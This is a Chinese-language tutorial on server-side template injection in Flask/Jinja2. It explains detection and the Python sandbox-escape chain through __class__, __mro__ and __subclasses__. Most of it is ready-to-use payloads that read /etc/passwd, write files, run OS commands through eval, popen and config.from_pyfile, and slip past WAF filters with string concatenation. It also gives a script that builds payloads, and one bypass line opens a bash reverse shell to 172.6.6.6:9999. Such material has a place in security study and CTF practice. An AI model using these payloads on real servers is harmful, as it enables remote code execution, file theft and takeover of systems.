SSTI(Server-Side Template Injection) 服務端模板注入
,就是服務器模板中拼接了惡意用戶輸入導致各種漏洞。通過模板,Web應用可以把輸入轉換成特定的HTML文件或者email格式
輸出無過濾就注定會存在xss,當然還有更多深層次的漏洞。
前置知識
1.運行一個一個最小的 Flask 應用
from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_world():
return 'Hello World!'
if __name__ == '__main__':
app.run(host='0.0.0.0')
2.jinja2
jinja2是Flask作者開發的一個模板系統,起初是仿django模板的一個模板引擎,為Flask提供模板支持,由於其靈活,快速和安全等優點被廣泛使用。
在jinja2中,存在三種語:
控制結構 {% %}
變量取值 {{ }}
注釋 {# #}
jinja2模板中使用 {{ }} 語法表示一個變量,它是一種特殊的占位符。當利用jinja2進行渲染的時候,它會把這些特殊的占位符進行填充/替換,jinja2支持python中所有的Python數據類型比如列表、字段、對象等
inja2中的過濾器可以理解為是jinja2里面的內置函數和字符串處理函數。
被兩個括號包裹的內容會輸出其表達式的值
1.ssti漏洞的檢測
發送類似下面的payload,不同模板語法有一些差異
smarty=Hello ${7*7}
Hello 49
twig=Hello {{7*7}}
Hello 49
檢測到模板注入漏洞后,需要准確識別模板引擎的類型。神器Burpsuite 自帶檢測功能,並對不同模板接受的 payload 做了一個分類,並以此快速判斷模板引擎:
2.漏洞利用
1.payload原理
Jinja2 模板中可以訪問一些 Python 內置變量,如[] {} 等,並且能夠使用 Python 變量類型中的一些函數這里其實就引出了python沙盒逃逸
1.1 python沙盒逃逸-python2
python的內斂函數真是強大,可以調用一切函數做自己想做的事情
__builtins__
__import__
在python的object類中集成了很多的基礎函數,我們想要調用的時候也是需要用object去操作的,這是兩種創建object的方法
Python中一些常見的特殊方法:
__class__返回調用的參數類型。
__base__返回基類
__mro__允許我們在當前Python環境下追溯繼承樹
__subclasses__()返回子類
現在我們的思路就是從一個內置變量調用__class__.base__等隱藏屬性,去找到一個函數,然后調用其__globals['builtins']即可調用eval等執行任意代碼。
().__class__.__bases__[0]
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
[].__class__.__bases__[0]
builtins即是引用,Python程序一旦啟動,它就會在程序員所寫的代碼沒有運行之前就已經被加載到內存中了,而對於builtins卻不用導入,它在任何模塊都直接可見,所以這里直接調用引用的模塊
>>> ''.__class__.__base__.__subclasses__()
# 返回子類的列表 [,,,...]
#從中隨便選一個類,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指這些函數並沒有被重載,這時他們並不是function,不具有__globals__屬性
#再換幾個子類,很快就能找到一個重載過__init__的類,比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__
>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
#然后用eval執行命令即可
安全研究員給出的幾個常見Payload
python2
文件讀取和寫入
#讀文件
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
#寫文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
任意執行
每次執行都要先寫然后編譯執行
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}
{{ config.from_pyfile('/tmp/owned.cfg') }}
寫入一次即可
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output\n\nRUNCMD = check_output\n')}}
{{ config.from_pyfile('/tmp/owned.cfg') }}
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}
不回顯的
http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}
http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
任意執行只需要一條指令
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(這條指令可以注入,但是如果直接進入python2打這個poc,會報錯,用下面這個就不會,可能是python啟動會加載了某些模塊)
http://39.105.116.195/{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函數換為popen('').read(),需要導入os模塊)
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要導入os模塊,直接從別的模塊調用)
總結:
通過某種類型(字符串:"",list:[],int:1)開始引出,__class__找到當前類,__mro__或者__base__找到__object__,前邊的語句構造都是要找這個。然后利用object找到能利用的類。還有就是{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}這種的,能執行,但是不會回顯。一般來說,python2的話用file就行,python3則沒有這個屬性。
python3
因為python3沒有file了,所以用的是open
#文件讀取
http://192.168.228.36/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
執行命令
#任意執行
http://192.168.228.36/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
#命令執行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
尋找function的過程可以用一個小腳本解決, 腳本找到被重載過的function,然后組成payload
#!/usr/bin/python3
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
for attr in searchList:
if hasattr(i, attr):
if eval('str(i.'+attr+')[1:9]') == 'function':
for goal in neededFunction:
if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
if pay != 1:
print(i.__name__,":", attr, goal)
else:
print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")
output
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_Unframer' %}{{ c.__init__.__globals__['__builtins__'].exec("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].open("[evil]") }}{% endif %}{% endfor %}
隨便選一個替換我們之前的Payload,會發現成功執行
http://192.168.228.36/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval('__import__("os").popen("id").read()') }}{% endif %}{% endfor %}
waf繞過
甩幾個test payload
有時候看不到回顯。可以在源代碼里看到回顯
python2:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')
python3:
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['os'].__dict__['system']('ls')
參考連接: